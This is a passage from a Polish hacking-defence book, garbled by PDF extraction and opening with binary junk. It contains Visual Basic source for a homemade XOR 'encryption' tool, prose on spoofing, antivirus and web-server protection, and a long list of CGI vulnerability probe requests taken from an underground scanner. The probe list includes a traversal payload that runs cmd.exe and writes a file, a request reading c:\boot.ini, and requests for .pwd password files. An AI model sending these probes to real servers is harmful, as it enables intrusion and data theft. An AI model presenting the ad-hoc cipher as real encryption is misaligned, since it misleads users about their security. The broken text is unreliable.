`

ŕŘ

gé±

ě

^ŽÁ



˙N˝A

Ő

Î

U

ś

Tc

ľ

c



==Ó



Rysunek 2.19.
Szyfrowanie danych
w Encryptorze w celu
bezpiecznego
przesłania przez sie
ć

Encryptor (główny formularz)

Private Sub DelFileBtn_Click()
If Files.Filename = "" Then Exit Sub
If MsgBox("DELETE file?", vbExclamation Or vbYesNo, "Delete file") =
vbYes Then
If MsgBox("All the information will be lost! Continue?",
vbExclamation Or vbYesNo, "Delete file") = vbYes Then
Kill GetFileWithPath
End If
End If
Files.Refresh
End Sub

Private Sub Drives_Change()
FilePath.Path = Drives.Drive
Files.Path = Drives.Drive

background image


206

Hack Wars. Tom 2. Na tropie hakerów

206

End Sub

Private Sub FilePath_Change()
Files.Path = FilePath.Path
End Sub

Private Sub Files_DblClick()
MsgBox GetFileWithPath
End Sub

Private Sub Form_Load()
Drives.Drive = Left(App.Path, 2)
FilePath.Path = App.Path
OpenFilename = ""
Saved = True
ChangeEnable False
End Sub

Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
Mexit_Click
End Sub

Private Sub LoadBtn_Click()
Mopen_Click
End Sub

Private Sub Mexit_Click()
If Saved = False Then
If SaveQuestion = 3 Then Exit Sub
End If
End
End Sub

Private Sub MLoadFiles_Click()
MsgBox "Navigate through the directory list from the right side and
select the file you want to load. Be sure to write the appropriate
encryption key and then click load.", vbInformation, "How to load
encrypted files"
End Sub

Private Sub MSaveFiles_Click()
MsgBox " Navigate through the directory list from the right side to
the path you wish to save your encrypted file. Enter in an encryption
key and click save.", vbInformation, "How to save files with
encryption"
End Sub

Private Sub PasswordTxt_Change()
If Len(PasswordTxt) = 0 Then
ChangeEnable False
Else
ChangeEnable True
End If
End Sub

Private Sub SaveBtn_Click()
StartSave
End Sub

Private Sub Mnew_Click()

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

207

207

If Saved = False Then
If SaveQuestion = 3 Then Exit Sub
End If
Textbox = ""
OpenFilename = ""
Saved = True
End Sub

Private Sub Mopen_Click()
If Saved = False Then
If SaveQuestion = 3 Then Exit Sub
End If
If Files.Filename = "" Then MsgBox "Choose Filename", vbExclamation:
Exit Sub
OpenFilename = GetFileWithPath
LoadFile OpenFilename, PasswordTxt
Saved = True
End Sub

Private Sub Msave_Click()
StartSave
End Sub

Private Sub Msaveas_Click()
Dim Temp As String, Temp2 As String
Temp = InputBox("Enter Filename", "Save file")
If Temp = "" Then Exit Sub
Temp = GetPath(Files.Path) & GetTxtFile(Temp)
If (Dir(Temp) <> "") Then
If MsgBox("The file already exists." & vbCrLf & "Replace?",
vbQuestion Or vbYesNo, "File exists!") = vbNo Then Exit Sub
End If
Temp2 = VerifyPass
If Temp2 <> "" Then
OpenFilename = Temp
SaveFile OpenFilename, Temp2
End If
End Sub

Private Sub Textbox_Change()
Saved = False
End Sub

Moduł szyfrujący

Global Saved As Boolean
Global OpenFilename As String

Function GetFileWithPath() As String
If MainFrm.Files.Filename = "" Then
GetFileWithPath = ""
Exit Function
Else
GetFileWithPath = GetPath(MainFrm.Files.Path) &
MainFrm.Files.Filename
End If
End Function

Function GetPath(ByVal PathName As String) As String
If PathName Like "*\" Then
GetPath = PathName
Else

background image


208

Hack Wars. Tom 2. Na tropie hakerów

208

GetPath = PathName & "\"
End If
End Function

Function SpecielNumber1(ByVal Text As String) As Byte
Dim Value, Shift1, Shift2, ch
For i = 1 To Len(Text)
ch = Asc(Mid$(Text, i, 1))
Value = Value Xor Int(Shift1 * 10.4323)
Value = Value Xor Int(Shift2 * 4.23)
Shift1 = (Shift1 + 7) Mod 19
Shift2 = (Shift2 + 13) Mod 23
Next
SpecielNumber1 = Value
End Function

Function SpecielNumber2(ByVal Password As String) As Byte
Dim Value
Value = 194
For i = 1 To Len(Password)
ch = Asc(Mid$(Password, i, 1))
Value = Value Xor ch Xor i
If Value > 100 Then Value = (Value - 50) Xor 255
Next
SpecielNumber2 = Value
End Function

Function SpecielNumber3(ByVal Password As String) As Byte
Value = Len(Password) Mod 37
For i = 1 To Len(Password)
ch = Asc(Mid$(Password, i, 1))
If (Value Mod 2) And (ch > 10) Then ch = ch - 1
Value = (ch * Value * 17.3463) Mod 255
Next
SpecielNumber3 = Value
End Function

Function Fib(ByVal Num As Integer) As Long
Dim Temp As Integer, Temp2 As Integer, Temp3 As Integer
Temp = 1
Temp2 = 1
Temp3 = 1
For i = 3 To Num
Temp3 = Temp2
Temp2 = Temp
Temp = Temp + Temp3
Next
Fib = Temp
End Function

Function Pwd(ByVal Text As String, ByVal KeyTxt As String) As String
Dim KeyLen As Integer
Dim PassAsc As Byte
Dim SaveNum As Integer
Dim AfterETxt As String
Dim RandTxt1 As Integer, RandTxt2 As Integer, RandTxt3 As Integer
Dim Temp As Byte
RandTxt1 = SpecielNumber1(Text)
RandTxt2 = SpecielNumber2(KeyTxt)
RandTxt3 = SpecielNumber3(KeyTxt)
SaveNum = 1
KeyLen = Len(KeyTxt)

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

209

209

AfterETxt = ""
For i = 1 To Len(Text)
Temp = Asc(Mid(Text, i, 1))
PassAsc = Asc(Mid(KeyTxt, ((i - 1) Mod KeyLen) + 1, 1))
If RandTxt2 > RandTxt3 Then Temp = Temp Xor RandTxt1 Xor RandTxt3
If RandTxt1 > RandTxt3 Then Temp = Temp Xor RandTxt2
Temp = Temp Xor (Abs(RandTxt3 - i) Mod 256)
Temp = Temp Xor PassAsc
Temp = Temp Xor (Int(i * 2.423121) Mod 256)
Temp = Temp Xor (Int(Fib(i Mod 17) * 0.334534) Mod 256)
Temp = Temp Xor SaveNum
Temp = Temp Xor (KeyLen Mod SaveNum)
Temp = Temp Xor RandTxt3
Temp = Temp Xor (Len(Text) Mod 71)
Temp = Temp Xor Abs(RandTxt3 - RandTxt1)
Temp = Temp Xor Abs(((RandTxt1 Mod 23) * 10) Mod RandTxt2)
SaveNum = (Int(Fib(i Mod 7) * 0.334534) Mod 256)
SaveNum = SaveNum Xor (PassAsc * 45.92425) Mod 256
If (i >= 2) Then
If PassAsc And 2 Then
Temp = Temp Xor PassAsc
Else
Temp = Temp Xor (Int(PassAsc * 3.2145561) Mod 256)
End If
Else
Temp = Temp Xor ((KeyLen * PassAsc + (i Mod 3)) Mod 256)
End If
AfterETxt = AfterETxt & Chr(Temp)
Next
Pwd = AfterETxt
End Function

Function GetTxtFile(ByVal Filename As String) As String
If Filename Like "*.txt" Then
GetTxtFile = Filename
Else
GetTxtFile = Filename & ".txt"
End If
End Function

Function ChangeEnable(ByVal Status As Boolean)
With MainFrm
.LoadBtn.Enabled = Status
.SaveBtn.Enabled = Status
.Mopen.Enabled = Status
.Msave.Enabled = Status
.Msaveas = Status
End With
End Function

Function SaveQuestion() As Byte
Opt = MsgBox("You didn’t save the last file." & vbCrLf & "Save it?",
vbQuestion Or vbYesNoCancel, "Save")
If Opt = vbYes Then
If StartSave = True Then
SaveQuestion = 1
Else
SaveQuestion = 3
End If
ElseIf Opt = vbNo Then
SaveQuestion = 2
Else

background image


210

Hack Wars. Tom 2. Na tropie hakerów

210

SaveQuestion = 3
End If
End Function

Function StartSave() As Boolean
Dim Temp As String, Temp2 As String
StartSave = True
If OpenFilename = "" Then
Temp = InputBox("Enter Filename", "Save file",
MainFrm.Files.Filename)
If Temp = "" Then StartSave = False: Exit Function ‘tylko nazwa
pliku
Temp = GetPath(MainFrm.Files.Path) & GetTxtFile(Temp) 'ustaw temp
na pełn

ą

ś

cie

ż

k

ę

If (Dir(Temp) <> "") Then 'je

ś

li plik istnieje

If MsgBox("The file already exists." & vbCrLf & "Replace?",
vbQuestion Or
vbYesNo, "File exists!") = vbNo Then StartSave = False:
Exit Function
End If
Temp2 = VerifyPass
If Temp2 = "" Then StartSave = False: Exit Function
OpenFilename = Temp
SaveFile OpenFilename, Temp2
Saved = True
Else
Temp = VerifyPass
If Temp = "" Then StartSave = False: Exit Function
SaveFile OpenFilename, Temp
Saved = True
End If
End Function

Function SaveFile(ByVal Filename As String, ByVal Pass As String)
Open Filename For Output As #1
Print #1, Pwd(MainFrm.Textbox, Pass)
Close #1
Saved = True
MainFrm.Files.Refresh
End Function

Function LoadFile(ByVal Filename As String, ByVal Pass As String)
Dim Dta As String
Dta = Space(FileLen(Filename))
free = FreeFile
Open Filename For Binary Access Read As #free
Get #free, , Dta
Close #free
Dta = Mid(Dta, 1, Len(Dta) - 2)
MainFrm.Textbox = Pwd(Dta, Pass)
Saved = True
End Function

Function VerifyPass() As String
Dim Temp As String
Temp = InputBox("Confirm Encryption Key")
If Temp = "" Then Exit Function
If (Temp = MainFrm.PasswordTxt) Then
VerifyPass = Temp
Else
MsgBox "Keys don’t match!", vbCritical
VerifyPass = ""

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

211

211

End If
End Function

Ochrona przed podszywaniem się

W pierwszym tomie tej książki opisaliśmy, w jaki sposób podszywanie się pod adres
IP jest używane do przejęcia osobowości zaufanego hosta, złamania zabezpieczeń
oraz nawiązania zaufanej komunikacji z systemem docelowym. Po udanym ataku haker
może utworzyć sobie tylne drzwi do systemu w celu ułatwienia dalszego dostępu oraz
uzyskania zdalnej kontroli. Analogicznie, włamanie się do serwera DNS daje napastni-
kowi kontrolę nad procesem rozwiązywania domen, a w niektórych przypadkach tak-
ż

e możliwość przekierowania gości do innego miejsca niż docelowa witryna WWW lub

serwer pocztowy.

Na szczęście w sieci pojawiły się już środki chroniące przed podszywaniem się. Po-
nieważ podstawą podszywania jest identyfikacja adresu źródłowego bez potwierdzo-
nego uwierzytelniania, pomóc może wprowadzenie IPv6 z nagłówkami uwierzytel-
niania. Takie nagłówki zapewniają możliwość obliczenia zaszyfrowanych sum
kontrolnych pola użytkowego datagramów oraz niektórych pól nagłówka. Takie prze-
liczanie natomiast zapewnia dwustopniową ochronę przed podszywaniem, a także
lepsze filtrowanie pakietów, co chroni przed nagłym wzrostem rozpowszechniania.
Tak jak rozwiązanie oparte o IPSec, zasady filtrowania konkretnych pakietów chronią
ruch, który powstaje na zewnątrz VPN, ale nie są wymagane, ponieważ szyfrowane
techniki uwierzytelniania zapewniają takie zabezpieczenie. Mówiąc ogólnie, protokół,
który nie zapewnia uwierzytelniania swoich komunikatów, może być wrażliwy na atak
przy użyciu podszywania. W przypadku NetBIOS-u użytkownicy potrzebujący lep-
szej ochrony przed podszywaniem mogą użyć IPSec w Windows 2000 w celu nawiąza-
nia uwierzytelnionych sesji. W takim przypadku zasady IPSec, które uwierzytelniają
sesje przez porty 137 – 139, mogą zapobiec podszywaniu się pod ten potencjalnie
wrażliwy protokół.

Większość producentów dołącza do peletonu firm udostępniających ochronę przed
podszywaniem. Dla przykładu niektóre produkty Cisco oferują zabezpieczenia przy
użyciu podstawowego interfejsu prywatności (BRI) DOCSIS lub opcje zarządzanego
CPE, takie jak serwery i routery uwierzytelniania, autoryzacji i rozliczeń (AAA).
Mówiąc ogólnie, taki system obsługuje listy kontroli dostępu ACL, tunele, filtrowa-
nie, specjalne zabezpieczenie przed podszywaniem oraz polecenia do konfiguracji fil-
trowania źródłowego adresu IP w podsieciach radiowych, dzięki czemu użytkownicy
nie mogą korzystać z adresów IP, nieważnych dla podsieci, do których są przyłączeni.

Jeśli połączysz opisane powyżej technologie z firewallami dokonującymi inspekcji,
otrzymasz kompletną metodę zabezpieczającą przed podszyciem się hakera. Nie zapo-
mnij o dowiadywaniu się u producenta sprzętu o stosowane przez niego funkcje chro-
niące przed takimi atakami. Wiele aktualizacji oprogramowania automatycznie zawiera
nowsze funkcje, które są ciągle rozwijane w celu ulepszenia frontonów konfiguracyj-
nych (patrz rysunek 2.20).

background image


212

Hack Wars. Tom 2. Na tropie hakerów

212

Rysunek 2.20.
Zaawansowane opcje
firewalla w programie
NetScreen obejmuj
ą
ochron
ę przed atakami
z zastosowaniem
podszycia

Ochrona przed wirusami

Do tej pory udokumentowano już ponad 69000 wirusów, które krążą między kompu-
terami. Nowe wirusy powstają codziennie wskutek mutacji i narodzin nowych od-
mian. Wirusy komputerowe cechują się trzema kolejnymi fazami życia — aktywacją,
replikacją oraz manipulacją.









Aktywacja — moment, w którym pierwszy komputer „łapie” wirusa,
zwykle z zaufanego źródła.









Replikacja — wtedy wirus zaczyna się rozprzestrzeniać w celu
zainfekowania możliwie największej liczby „ofiar” w polu rażenia.









Manipulacja — wirus zaczyna działać; ten moment może być zależny od daty
(na przykład piątek trzynastego lub pierwszy stycznia) lub jakiegoś zdarzenia
(trzeci restart komputera lub zaplanowana procedura obsługi dysku).

Oprogramowanie chroniące przed wirusami reaguje zwykle na wzory wirusów, dlate-
go trudne jest osiągnięcie całkowitego zabezpieczenia. Toteż w czasie poszukiwania
właściwego programu Twoim celem powinny stać się trzy funkcje — aktywne ska-
nowanie, monitorowanie poczty i bieżąca aktualizacja definicji wirusów.









Aktywne skanowanie — dzięki tej funkcji moduły programu antywirusowego
ciągle działają w tle, skanując otwierane pliki. Taki moduł zabezpiecza również
przed próbami nieautoryzowanej modyfikacji plików oraz ostrzega, jeśli zostały
zmienione wielkości plików systemowych. Unikalną funkcją towarzyszącą temu
procesowi jest filtrowanie Internetu. Po pobraniu plików są one skanowane pod
kątem znanych wirusów, a wrogie aplety Javy i obiekty kontrolne ActiveX są
blokowane. Niektóre programy oferują nawet możliwość własnej konfiguracji
w celu zablokowania dostępu do pewnych niepożądanych witryn. Rysunek 2.21
pokazuje konfigurowanie programu firmy McAfee na skanowanie wszystkich
plików.

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

213

213

Rysunek 2.21.
Konfigurowanie
programu McAfee
firmy Network
Associates
na skanowanie
wszystkich plików,
ączając w to
pobrane z Internetu









Monitorowanie poczty — od pewnego czasu jest to niezbędny dodatek do
ochrony antywirusowej. Ta technika nakazuje programowi wyszukiwanie
wirusów w załącznikach otrzymywanych wiadomości elektronicznych.
Program antywirusowy można skonfigurować na usuwanie lub przeniesienie
wszystkich odnalezionych wirusów. Rysunek 2.22 pokazuje sposób
implementacji tej techniki przez program Norton Antivirus.

Rysunek 2.22.
Norton Antivirus
2001 mo
że
monitorowa
ć
i chroni
ć przed
wirusami pocztowymi









Bieżąca aktualizacja definicji wirusów — ta technika wykorzystuje proces
automatycznej aktualizacji w celu uzyskania najświeższych sygnatur wirusów,
co jest bardzo ważne ze względu na ciągle rosnącą liczbęwirusów. Sygnatury
wirusów są przechowywane w bazie danych, używanej do ochrony przed
tysiącami wirusów komputerowych. Odpowiednie aktualizacje mogą pojawiać
się raz lub dwa razy dziennie. Co więcej, mechanizmy bieżącej aktualizacji
mogą automatycznie wyszukiwać nowe aktualizacje na witrynie producenta,
pobierać je oraz instalować nową bazę danych. Rysunek 2.23 pokazuje sposób
działania funkcji LiveUpdate w programie Norton Antivirus.

background image


214

Hack Wars. Tom 2. Na tropie hakerów

214

Rysunek 2.23.
Wykorzystanie funkcji
Nortona, LiveUpdate,
w celu zapewnienia
aktualno
ści baz
danych definicji

Ochrona przed włamaniami na strony internetowe

W tej części omówimy włamania na strony internetowe wraz z konkretnymi odmia-
nami w zależności od demona serwera WWW. Techniki zabezpieczające nakazują
utworzenie projektu zgodnie z procedurami SMTP-NAT-DMZ, opisanymi w rozdziale 1.
Umieszczenie serwera za firewallem w strefie zdemilitaryzowanej może zaoszczędzić
wielu godzin poświęconych na odpieranie ataków hakerów. Ta technika jest związana
z implementacją rozbudowanego firewalla, który potencjalnie będzie dokonywał kon-
troli milionów żądań HTTP. Chociaż jest to najwłaściwszy sposób postępowania, to,
jeśli koszt jest czynnikiem decydującym (a tak jest w większości przypadków), naj-
lepszą alternatywą będzie zachowanie rozbudowanych dzienników systemowych
i skonfigurowanie narzędzia do blokowania portów. Takie programy (na przykład Tiger-
Watch
, omówiony w poprzednich i kolejnych rozdziałach) działają jako minisystemy
firewalli, zamykając wrażliwe porty i usługi, monitorując jednocześnie próby ataków.
Inne przydatne techniki obejmują wyłączanie funkcji przeglądania katalogu oraz użycie
procedur zaszyfrowanego uwierzytelniania dla zdalnego i lokalnego logowania admi-
nistratora.

Programy CGI również mogą ułatwić włamanie na stronę internetową. Prawdę mó-
wiąc, CGI jest najczęściej atakowane przez hakerów. Na szczęście istnieje wiele dar-
mowych i komercyjnych skanerów badających wrażliwość CGI. Takie programy spraw-
dzają typowe techniki włamania się przez CGI w celu wprowadzenia własnych ulepszeń.
Jako przykład możesz przyjrzeć się, pokazanemu na rysunku 2.24, programowi CGI
Exploit Scanner, który został zaprogramowany przez podziemnego hakera i progra-
mistę no()ne. Program może być dopasowany do własnych technik skanowania CGI;
możliwe jest również ręczne przeprowadzenie testu słabości CGI.

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

215

215

Rysunek 2.24.
CGI Exploit Scanner
mo
że pomóc
w wykryciu
potencjalnej
wra
żliwości
kodu CGI

Obecnie istnieje 407 potencjalnych sposobów włamań do CGI; przedstawiono je poniżej.

GET /cgi-bin/unlg1.1 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/unlg1.2 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/rwwwshell.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/gH.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/phf HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/phf.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/Count.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/test-cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/nph-test-cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/nph-publish HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/php.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/php HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/handler HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webgais HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/websendmail HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webdist.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/faxsurvey HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/htmlscript HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/pfdisplay HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/perl.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wwwboard.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wwwboard.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/www-sql HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/view-source HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/campas HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/aglimpse HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/glimpse HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/man.sh HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/AT-admin.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/filemail.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/maillist.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/jj HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/info2www HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/files.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/finger HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/bnbform.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/survey.cgi HTTP/1.0 & vbCrLf & vbCrLf

background image


216

Hack Wars. Tom 2. Na tropie hakerów

216

GET /cgi-bin/AnyForm2 HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/textcounter.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/classifieds.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/environ.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wrap HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cgiwrap HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/guestbook.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/guestbook.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/edit.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/perlshop.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/webbbs.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/whois_raw.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/AnyBoard.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/dumpenv.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/login.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /test/test.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_inf.html HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/ HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/users.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/service.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/authors.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pvt/admin.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_pwd/administrators.pwd HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/shtml.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/shtml.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-dos/args.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-win/uploader.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/rguest.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/wguest.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/issadmin/bdir.htr HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/CGImail.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/tools/getdrvrs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /getdrvrs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/fpcount.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/counter.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/visadmin.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/perl.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/../../cmd.exe?%2FC+echo+\'hacked!\'>c:\\hello.bat
HTTP/1.0 & vbCrLf & vbCrLf
GET /users/scripts/submit.cgi HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expelval/openfile.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expelval/exprcalc.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expelval/displayopenedfile.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expelval/sendmail.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/examples/parks/detail.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/fileexists.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/examples/mainframeset.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /iissamples/exair/howitworks/codebrws.asp HTTP/1.0 & vbCrLf &
vbCrLf
GET /iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /msads/Samples/SELECTOR/showcode.asp HTTP/1.0 & vbCrLf & vbCrLf
GET /search.vts HTTP/1.0 & vbCrLf & vbCrLf
GET /carbo.dll HTTP/1.0 & vbCrLf & vbCrLf
GET /domcfg.nsf/?open HTTP/1.0 & vbCrLf & vbCrLf
GET /?PageServices HTTP/1.0 & vbCrLf & vbCrLf
GET /....../autoexec.bat HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/zero.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/root.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expressions.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/expeval/eval.cfm HTTP/1.0 & vbCrLf & vbCrLf

background image


Rozdział 2.

Mechanizmy ochrony przed włamaniami

217

217

GET /cfdocs/exampleapp/publish/admin/addcontent.cfm HTTP/1.0 & vbCrLf
& vbCrLf
GET /cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini HTTP/1.0 &
vbCrLf & vbCrLf
GET /cfdocs/exampleapp/publish/admin/application.cfm HTTP/1.0 &
vbCrLf & vbCrLf
GET /cfdocs/exampleapp/email/application.cfm HTTP/1.0 & vbCrLf &
vbCrLf
GET /cfdocs/exampleapp/docs/sourcewindow.cfm HTTP/1.0 & vbCrLf &
vbCrLf
GET /cfdocs/examples/parks/detail.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/examples/cvbeans/beaninfo.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/viewexample.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/gettempdirectory.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/fileexists.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfdocs/snippets/evaluate.cfm HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/cfapps/forums/forums_.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/cfapps/security/realm_.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/cfapps/forums/data/forums.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/cfapps/security/data/realm.mdb HTTP/1.0 & vbCrLf &
vbCrLf
GET /cfusion/database/cfexamples.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/database/cfsnippets.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/database/smpolicy.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /cfusion/database/cypress.mdb HTTP/1.0 & vbCrLf & vbCrLf
GET /DataBase/ HTTP/1.0 & vbCrLf & vbCrLf
GET /database.nsf/ HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/cgi-lib.pl HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/minimal.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/redir.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/stats.prg HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/statsconfig HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/visitor.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/htmldocs HTTP/1.0 & vbCrLf & vbCrLf
GET /cgi-bin/logs HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_adm HTTP/1.0 & vbCrLf & vbCrLf
GET /_vti_bin/_vti_aut HTTP/1.0 & vbCrLf & vbCrLf
GET /srchadm HTTP/1.0 & vbCrLf & vbCrLf
GET /iisadmin HTTP/1.0 & vbCrLf & vbCrLf
GET /html/?PageServices HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/run.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/ctgestb.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/ctgestb.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/details.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/details.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/query.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/query.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/register.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/register.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/sample.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/sample.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/sample2.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/viewbook.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/samples/viewbook.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/ct.htx HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/ctss.idc HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/dsnform.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/getdrvrs.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /scripts/iisadmin/tools/mkilog.exe HTTP/1.0 & vbCrLf & vbCrLf

background image


218

Hack Wars. Tom 2. Na tropie hakerów

218

GET /scripts/iisadmin/tools/newdsn.exe HTTP/1.0 & vbCrLf & vbCrLf
GET /IISADMPWD/achg.htr HTTP/1.0 & vbCrLf & vbCrLf
